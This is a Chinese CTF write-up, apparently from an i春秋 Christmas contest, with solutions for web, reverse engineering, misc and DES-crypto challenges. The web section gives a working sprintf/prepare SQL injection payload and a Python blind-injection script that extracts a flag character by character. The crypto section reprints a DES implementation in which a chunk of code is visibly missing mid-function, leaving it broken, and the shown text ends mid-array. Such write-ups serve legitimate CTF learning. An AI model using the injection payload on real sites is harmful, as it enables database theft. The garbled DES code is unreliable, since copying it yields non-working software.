WEB
祝大家圣诞快乐!hhhhh
| \/ | ___ _ __ _ __ _ _
| |\/| |/ _ \ '__| '__| | | |
| | | | __/ | | | | |_| |
|_| |_|\___|_| |_| \__, |
|___/
____ _ _ _ _
/ ___| |__ _ __(_)___| |_ _ __ ___ __ _ ___| |
| | | '_ \| '__| / __| __| '_ ` _ \ / _` / __| |
| |___| | | | | | \__ \ |_| | | | | | (_| \__ \_|
\____|_| |_|_| |_|___/\__|_| |_| |_|\__,_|___(_)
sprintf看着像wp里面的,去漏洞平台搜了一下。
应该是这个漏洞:
这个我不知道他后台代码是啥,但是在漏洞报告中看到了payload:
最初报告的漏洞在vsprintf中使用了一个鬼鬼祟祟的功能来允许你“绝对引用”的参数。 我们来看一个例子:
vsprintf('%s, %d, %s', ["a", 1, "b"]); // "a, 1, b"
vsprintf('%s, %d, %1$s', ["a", 2, "b"]); // "a, 2, a"
请注意,%n$s不会读取下一个参数,而是读取由n指定位置的参数。
我们可以用这个来注入原来的查询。 想象一下,我们将下面的信息传递给服务器:
$_GET['items'] = ['%1$s'];
$_GET['baz'] = "test";
现在,查询将被改为SELECT * FROM foo WHERE bar IN('test')AND baz ='test'; (我们已经成功地改变了查询的含义。
还有一个关键信息是原始报告中包含的信息,将其变为全面的SQL注入。 sprintf还接受另一种类型的参数:%c,它的作用类似于chr()并将十进制数字转换为字符。 所以现在攻击者可以这样做:
$_GET['items'] = ['%1$c) OR 1 = 1 /*'];
$_GET['baz'] = 39;
---
上面是官方的,前面说%c参数类似于chr()函数,我们传入的'经过转换之后就是39.查询变成
SELECT * FROM foo WHERE bar IN ('') OR 1 = 1 /*' AND baz = 'test';
原始修复4.8.2发布时,它增加了一行代码来修复,包含在WPDB::prepare()中。
如下:
$query = preg_replace( '/%(?:%|$|([^dsF]))/', '%%\\1', $query );
这有两个基本的东西。 首先,它删除除%d,%s和%F之外的任何sprintf标记。 这应该使原来的漏洞无效,因为它依赖%c(或者看起来好像)。 其次,它消除了进行位置替换的能力(意味着%1$不再有效)。
........
因为这个漏洞我不是很了解,我就不班门弄斧了。
具体请看Here
最终得到的payload是 :
%1$' or ascii(substr((select flag from flag),1,1)=100#
盲注最烦的就是慢。所以需要脚本。我先用burp测试无误以后才写脚本。
burp爆破的时候返回的长度都是一样的,要不是一个一个去看,我还以为我代码错了....
爆破的时候踩了几个坑,还是怪自己底子不好吧。
不行,TM我要数下我踩了几个坑....
- url编码问题
- 数据库长度
- 我自以为是用len判断,mysql里面是length
- 查的时候忘了加limit 0,1
- str变量我神tm加一个双引号包起来干哈?
- url编码的问题是用wireshark抓包看的,因为requests库不能看自己发了啥东西。
数据库是ctf,表名是flag,字段名也就是flag咯。
然后就是爆破字段内容,也就是最终的flag,我一开始想确定长度,不是长度嘛。
我就这样写:
select length(select user from users limit 1,1);
行吧行吧,你们可爱做什么都对,我人衰咩!
其实字段长度不知道也木事,flag顶天50长度。
最终的脚本如下:
# _*_ coding : utf-8 _*_
import requests
import re
import urllib2
logo = '''
__ __
| \/ | ___ _ __ _ __ _ _
| |\/| |/ _ \ '__| '__| | | |
| | | | __/ | | | | |_| |
|_| |_|\___|_| |_| \__, |
|___/
____ _ _ _ _
/ ___| |__ _ __(_)___| |_ _ __ ___ __ _ ___| |
| | | '_ \| '__| / __| __| '_ ` _ \ / _` / __| |
| |___| | | | | | \__ \ |_| | | | | | (_| \__ \_|
\____|_| |_|_| |_|___/\__|_| |_| |_|\__,_|___(_)
'''
def Crackflag():
flagname = ""
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0',
}
url = "http://09fcdd45eebd4d3c9ecbc16a778859639540ba5ad3a54287.game.ichunqiu.com"
#这里flag长度我用length不知道为什么会报错,我就猜了顶天50
for m in range(1,50):
#ASCII码可见字符范围
for i in range(32, 126):
s = "%1$' or ascii(substr((select flag from flag),"+str(m)+",1))="+str(i)+"#" #payload
str1 = s
data={'username' : str1, 'password' : 'wingisbest!'}
req = requests.post(url=url, data=data,headers=headers)
result = re.findall('password error', req.content)
if result:
flagname = flagname + chr(i)
print flagname
if __name__ == "__main__":
print logo
Crackflag()
###flag{Fuck_ctf}
附:过程图
RE
后缀名写着exe,却不能运行~
用010Editor打开分析一下
发现NT头有很明显的问题
MagicNumber应该是50 45 00 00,被改为了HA
后面一个HA很明显也是后加的,查询一下发现这里是Machine,表示使用的处理器
正确的值应该为4C 01,即i386 - 332
修改以后发现还是不能运行,继续检查
想起来DOS头里有一个重要的值:e_lfanew,它表示了NE头的偏移
原值为00 01 00 00,很明显是错的,改正为10 01 00 00(0x110)
改完发现Windows都能识别出来它是个MFC了
然而双击以后响应了一会儿还是没东西出来
拖入OD也在加载器中就跳入SEH了,估计加载的时候还有什么错误,当时没有发现
但是知道它是MFC就有地方可以操作了:
无壳,拖入IDA,发现WinMain函数里没有好辨认的东西,查找字符串也没有可读的部分╮(╯_╰)╭
于是开始考虑从资源下手
用ResourceHacker查看控件ID,发现确认按钮的ID为1001
于是根据ID定位按钮函数,通过IDA的搜索立即数
(结构体自己导入)
这样就找到了函数:sub_402C30
结构很明显
查看check函数,发现先是通过下标的奇偶将字符串切成两个
然后分别将两个字符串base64,再连接起来
之后大段的代码太长不想看(。
反正没有对v76操作的地方
最后可以看出来是和一个字符串比较
直接把它拖下来解b64发现不可见,说明中间还有操作
到这里就陷入了僵局
回头重新研究
发现当用IDA调试的时候会报start函数执行失败
这个提示让我茅塞顿开,节区属性的可执行属性被关闭了!
原来题目名“NoExec“就给出提示了╮(╯_╰)╭奈何一直没get到
于是将代码所在节区.text的属性加上可执行(DWORD Executable : 1)
就可以运行了!
在OD中对刚才分析的结果b64后的字符串下断,断到sub_401EC0->sub_401CE0中进行了操作
在IDA中大概看了一下,很复杂╮(╯_╰)╭
掏出密码学分析插件看一眼,哼,果然在这个函数里有对DES_box的调用
那这个sub_401EC0就是DES没跑了
OD中对这个函数下断,发现它是每次截取8个字符进行DES,密钥通过对参数的观察发现是
6E 06 15 51 93 5B 07 EA
IDA中大概能看到是上面一堆复杂操作出来的….看不懂(望天
跑了一下发现这个密钥是不变的
解密出来由于是二进制值,所以还有一次base64转为可见字符
于是按照思路写出解密脚本:
from base64 import b64encode, b64decode
from Cryptodome.Cipher import DES
k2 = [0x6E, 0x06, 0x15, 0x51, 0x93, 0x5B, 0x07, 0xEA]
key = bytes(k2)
x = DES.new(key, DES.MODE_ECB)
s = b"GcDk0SvnNA1tsmp5FCK1FpSDfUXZbhHBSPheZaixuMyzqyysOAPCPB/p7sMpmK1KZo+lPfhMZxw="
c = b64decode(s)
# 解密
p = x.decrypt(c)
# 还原奇偶字符
x = b64decode(p)
y = b64decode(p[28:-4])
for i in range(37):
if(i%2==0):
print(chr(x[i//2]), end='')
else:
print(chr(y[i//2]), end='')
活动页面上写着难度为中下,不过这个题目着实难了我一会儿(:з」∠)
虽然复盘想想好像的确没有太复杂的东西,但是各种小细节还是挺麻烦的
学到和巩固了很多知识~感谢出题人和i春秋提供的题目(°∀°)ノ
MISC200
题目给了2个文件,分别是web和蓝牙的数据包
查找资料得知,蓝牙的协议分为命令、数据和事件3种
由于我们的目标是flag,因此可以忽略命令和事件,也就是协议为’HCI_CMD’和’HCI_EVT’的
按照协议分类,扫剩下的数据包时发现有一个长度异常的
点进去查看数据发现Data中出现了很多可见字符,并且包括一个secret头
Dump下来,以十六进制查看:
很明显是一个rar压缩包,保存后发现需要密码
手里还有一个pcapng数据包没看,拿来分析
导出为HTTP对象发现大部分都是baidu和sougo的干扰流量
除此以外有两个paste.ubuntu.com的,点开分析发现post参数中有jsfuck,放到控制台里运行就弹出了密码
打开压缩包得到flag
MISC150
查看内容,发现是与黑客的交易对话内容
提示放在hnt.txt里,尝试搜索
[图片上传失败...(image-a96e13-1514126968331)]##
找到这里,里面的txt很明显是ASCII
遂转码得到flag
crypto
基本思路
用任意两组kn[i]可以得到key初始置换后的56bit长度的key,然后再逆推得到64位,不过8的倍数位置上的是未知的,然后爆破256种情况,去解密
利用脚本
两个脚本,一个还原des子密钥kn,一个拿着题目给的文件,因为没有解密函数,所以把加密函数改了改,然后封装了个decrypt函数
kn_2_key
des子密钥还原,最后有8位是还原不出来的,不过一共2的8次方,256种可能,直接爆破一下
import copy
from descrypto import decrypt
Kn = [
[1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1,
1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1],
[1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0,
1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1],
[0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0,
1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1],
[1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1,
0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1],
[1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0,
0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1],
[0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1,
0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1],
[0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0,
1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0],
[1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1,
1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0],
[1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0,
0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0],
[1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1,
1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0],
[1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0,
1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0],
[1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1,
1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1],
[0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1,
1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1],
[1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0,
1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1],
[0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1,
1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1],
[0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1,
1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1]
]
__pc1 = [56, 48, 40, 32, 24, 16, 8,
0, 57, 49, 41, 33, 25, 17,
9, 1, 58, 50, 42, 34, 26,
18, 10, 2, 59, 51, 43, 35,
62, 54, 46, 38, 30, 22, 14,
6, 61, 53, 45, 37, 29, 21,
13, 5, 60, 52, 44, 36, 28,
20, 12, 4, 27, 19, 11, 3
]
__pc2 = [
13, 16, 10, 23, 0, 4,
2, 27, 14, 5, 20, 9,
22, 18, 11, 3, 25, 7,
15, 6, 26, 19, 12, 1,
40, 51, 30, 36, 46, 54,
29, 39, 50, 44, 32, 47,
43, 48, 38, 55, 33, 52,
45, 41, 49, 35, 28, 31
]
Key = [[0] * 48] * 16
def __BitList_to_String(data):
L = len(data) / 8
result = [0] * L
pos = 0
c = 0
while pos < L:
for i in range(0, L):
result[pos] |= data[(pos << 3) + i] << i
pos += 1
return ''.join([chr(c) for c in result ])
def permutate(table, block):
return list(map(lambda x: block[x], table))
pc2_ni = []
for i in range(56):
if i not in __pc2:
pc2_ni.append(i)
pc2 = []
for i in range(56):
if i in pc2_ni:
pc2.append(len(__pc2))
continue
pc2.append(__pc2.index(i))
Kn0 = permutate(pc2, Kn[0] + [2])
assert Kn[0] == permutate(__pc2, Kn0)
print 'Kn0:' + str(Kn0)
Kn0_L = [Kn0[27]] + Kn0[:27]
Kn0_R = [Kn0[55]] + Kn0[28:55]
key0 = Kn0_L + Kn0_R
Kn1 = permutate(pc2, Kn[1] + [2])
assert Kn[1] == permutate(__pc2, Kn1)
print 'Kn1:' + str(Kn1)
Kn1_L = Kn1[26:28] + Kn1[:26]
Kn1_R = Kn1[54:56] + Kn1[28:54]
key1 = Kn1_L + Kn1_R
key_56 = []
for i in range(len(key0)):
if key0[i] == 2:
key_56.append(key1[i])
else:
key_56.append(key0[i])
print 'key(56bits):' + str(key_56)
pc1_ni = []
for i in range(64):
if i not in __pc1:
pc1_ni.append(i)
pc1 = []
for i in range(64):
if i in pc1_ni:
pc1.append(len(__pc1))
continue
pc1.append(__pc1.index(i))
key = permutate(pc1, key_56 + [2])
assert key_56 == permutate(__pc1, key)
print key
dic = []
key_dic = []
for i in range(0b100000000):
dic.append(bin(i)[2:].zfill(8))
for i in dic:
k = copy.deepcopy(key)
j = 0
while 2 in k:
k[k.index(2)] = int(i[j])
j += 1
assert j == 8
# print k
key_dic.append(__BitList_to_String(k))
print key_dic
for i in key_dic:
print '################'
decrypt(i)
descrypto
原题给的脚本,没有解密函数,我改了一下,然后封装了个decrypt函数
import sys
_pythonMajorVersion = sys.version_info[0]
ECB = 0
CBC = 1
PAD_NORMAL = 1
PAD_PKCS5 = 2
class _baseDes(object):
def __init__(self, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
if IV:
IV = self._guardAgainstUnicode(IV)
if pad:
pad = self._guardAgainstUnicode(pad)
self.block_size = 8
if pad and padmode == PAD_PKCS5:
raise ValueError("Cannot use a pad character with PAD_PKCS5")
if IV and len(IV) != self.block_size:
raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes")
self._mode = mode
self._iv = IV
self._padding = pad
self._padmode = padmode
def getKey(self):
"""getKey() -> bytes"""
return self.__key
def setKey(self, key):
"""Will set the crypting key for this object."""
key = self._guardAgainstUnicode(key)
self.__key = key
def getMode(self):
"""getMode() -> pyDes.ECB or pyDes.CBC"""
return self._mode
def setMode(self, mode):
"""Sets the type of crypting mode, pyDes.ECB or pyDes.CBC"""
self._mode = mode
def getPadding(self):
"""getPadding() -> bytes of length 1. Padding character."""
return self._padding
def setPadding(self, pad):
"""setPadding() -> bytes of length 1. Padding character."""
if pad is not None:
pad = self._guardAgainstUnicode(pad)
self._padding = pad
def getPadMode(self):
"""getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
return self._padmode
def setPadMode(self, mode):
"""Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
self._padmode = mode
def getIV(self):
"""getIV() -> bytes"""
return self._iv
def setIV(self, IV):
"""Will set the Initial Value, used in conjunction with CBC mode"""
if not IV or len(IV) != self.block_size:
raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes")
IV = self._guardAgainstUnicode(IV)
self._iv = IV
def _padData(self, data, pad, padmode):
if padmode is None:
padmode = self.getPadMode()
if pad and padmode == PAD_PKCS5:
raise ValueError("Cannot use a pad character with PAD_PKCS5")
if padmode == PAD_NORMAL:
if len(data) % self.block_size == 0:
return data
if not pad:
pad = self.getPadding()
if not pad:
raise ValueError("Data must be a multiple of " + str(self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.")
data += (self.block_size - (len(data) % self.block_size)) * pad
elif padmode == PAD_PKCS5:
pad_len = 8 - (len(data) % self.block_size)
if _pythonMajorVersion < 3:
data += pad_len * chr(pad_len)
else:
data += bytes([pad_len] * pad_len)
return data
def _unpadData(self, data, pad, padmode):
if not data:
return data
if pad and padmode == PAD_PKCS5:
raise ValueError("Cannot use a pad character with PAD_PKCS5")
if padmode is None:
padmode = self.getPadMode()
if padmode == PAD_NORMAL:
if not pad:
pad = self.getPadding()
if pad:
data = data[:-self.block_size] + \
data[-self.block_size:].rstrip(pad)
elif padmode == PAD_PKCS5:
if _pythonMajorVersion < 3:
pad_len = ord(data[-1])
else:
pad_len = data[-1]
data = data[:-pad_len]
return data
def _guardAgainstUnicode(self, data):
if _pythonMajorVersion < 3:
if isinstance(data, unicode):
raise ValueError("pyDes can only work with bytes, not Unicode strings.")
else:
if isinstance(data, str):
try:
return data.encode('ascii')
except UnicodeEncodeError:
pass
raise ValueError("pyDes can only work with encoded strings, not Unicode.")
return data
class des(_baseDes):
# Permutation and translation tables for DES
__pc1 = [56, 48, 40, 32, 24, 16, 8,
0, 57, 49, 41, 33, 25, 17,
9, 1, 58, 50, 42, 34, 26,
18, 10, 2, 59, 51, 43, 35,
62, 54, 46, 38, 30, 22, 14,
6, 61, 53, 45, 37, 29, 21,
13, 5, 60, 52, 44, 36, 28,
20, 12, 4, 27, 19, 11, 3
]
# number left rotations of pc1
__left_rotations = [
1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1
]
# permuted choice key (table 2)
__pc2 = [
13, 16, 10, 23, 0, 4,
2, 27, 14, 5, 20, 9,
22, 18, 11, 3, 25, 7,
15, 6, 26, 19, 12, 1,
40, 51, 30, 36, 46, 54,
29, 39, 50, 44, 32, 47,
43, 48, 38, 55, 33, 52,
45, 41, 49, 35, 28, 31
]
# initial permutation IP
__ip = [57, 49, 41, 33, 25, 17, 9, 1,
59, 51, 43, 35, 27, 19, 11, 3,
61, 53, 45, 37, 29, 21, 13, 5,
63, 55, 47, 39, 31, 23, 15, 7,
56, 48, 40, 32, 24, 16, 8, 0,
58, 50, 42, 34, 26, 18, 10, 2,
60, 52, 44, 36, 28, 20, 12, 4,
62, 54, 46, 38, 30, 22, 14, 6
]
# Expansion table for turning 32 bit blocks into 48 bits
__expansion_table = [
31, 0, 1, 2, 3, 4,
3, 4, 5, 6, 7, 8,
7, 8, 9, 10, 11, 12,
11, 12, 13, 14, 15, 16,
15, 16, 17, 18, 19, 20,
19, 20, 21, 22, 23, 24,
23, 24, 25, 26, 27, 28,
27, 28, 29, 30, 31, 0
]
# The (in)famous S-boxes
__sbox = [
# S1
[14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,
0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,
4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,
15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13],
# S2
[15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,
3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,
0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,
13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9],
# S3
[10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,
13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,
13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,
1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12],
# S4
[7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,
13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,
10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,
3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14],
# S5
[2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,
14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,
4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,
11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3],
# S6
[12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,
10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,
9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,
4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13],
# S7
[4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,
13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,
1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,
6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12],
# S8
[13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,
1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,
7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,
2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11],
]
# 32-bit permutation function P used on the output of the S-boxes
__p = [
15, 6, 19, 20, 28, 11,
27, 16, 0, 14, 22, 25,
4, 17, 30, 9, 1, 7,
23,13, 31, 26, 2, 8,
18, 12, 29, 5, 21, 10,
3, 24
]
# final permutation IP^-1
__fp = [
39, 7, 47, 15, 55, 23, 63, 31,
38, 6, 46, 14, 54, 22, 62, 30,
37, 5, 45, 13, 53, 21, 61, 29,
36, 4, 44, 12, 52, 20, 60, 28,
35, 3, 43, 11, 51, 19, 59, 27,
34, 2, 42, 10, 50, 18, 58, 26,
33, 1, 41, 9, 49, 17, 57, 25,
32, 0, 40, 8, 48, 16, 56, 24
]
# Type of crypting being done
ENCRYPT = 0x00
DECRYPT = 0x00
# Initialisation
def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
# Sanity checking of arguments.
if len(key) != 8:
raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.")
_baseDes.__init__(self, mode, IV, pad, padmode)
self.key_size = 8
self.L = []
self.R = []
self.Kn = [ [0] * 48 ] * 16 # 16 48-bit keys (K1 - K16)
self.final = []
self.setKey(key)
def setKey(self, key):
"""Will set the crypting key for this object. Must be 8 bytes."""
_baseDes.setKey(self, key)
self.__create_sub_keys()
def __String_to_BitList(self, data):
"""Turn the string data, into a list of bits (1, 0)'s"""
if _pythonMajorVersion < 3:
data = [ord(c) for c in data]
l = len(data) * 8
result = [0] * l
pos = 0
for ch in data:
for i in range(0,8):
result[(pos<<3)+i]=(ch>>i)&1
pos+=1
return result
def __BitList_to_String(self, data):
"""Turn the list of bits -> data, into a string"""
l=len(data)/8
result = [0]*l
pos = 0
c=0
while pos < l:
for i in range(0,l):
result[pos] |= data[(pos<<3)+i]<> 3
Bn[pos + 1] = (v & 4) >> 2
Bn[pos + 2] = (v & 2) >> 1
Bn[pos + 3] = v & 1
pos += 4
j += 1
self.R = self.__permutate(des.__p, Bn)
self.R = list(map(lambda x, y: x ^ y, self.R, self.L))
self.L = tempR
i += 1
iteration += iteration_adjustment
self.final = self.__permutate(des.__fp, self.R + self.L)
return self.final
def crypt(self, data, crypt_type):
"""Crypt the data in blocks, running it through des_crypt()"""
if not data:
return ''
if len(data) % self.block_size != 0:
if crypt_type == des.DECRYPT:
raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.")
if not self.getPadding():
raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n. Try setting the optional padding character")
else:
data += (self.block_size - (len(data) % self.block_size)) * self.getPadding()
if self.getMode() == CBC:
if self.getIV():
iv = self.__String_to_BitList(self.getIV())
else:
raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering")
i = 0
dict = {}
result = []
while i < len(data):
block = self.__String_to_BitList(data[i:i+8])
if self.getMode() == CBC:
if crypt_type == des.ENCRYPT:
block = list(map(lambda x, y: x ^ y, block, iv))
processed_block = self.__des_crypt(block, crypt_type)
else:
processed_block = self.__des_crypt(block, crypt_type)
result.append(self.__BitList_to_String(processed_block))
i += 8
if _pythonMajorVersion < 3:
return ''.join(result)
else:
return bytes.fromhex('').join(result)
def encrypt(self, data, pad=None, padmode=None):
data = self._guardAgainstUnicode(data)
if pad is not None:
pad = self._guardAgainstUnicode(pad)
data = self._padData(data, pad, padmode)
return self.crypt(data, des.ENCRYPT)
deskey="imnotkey"
DES = des(deskey)
DES.Kn =[
[1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1],
[1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1],
[0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1],
[1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1],
[1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1],
[0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1],
[0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0],
[1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0],
[1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0],
[1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0],
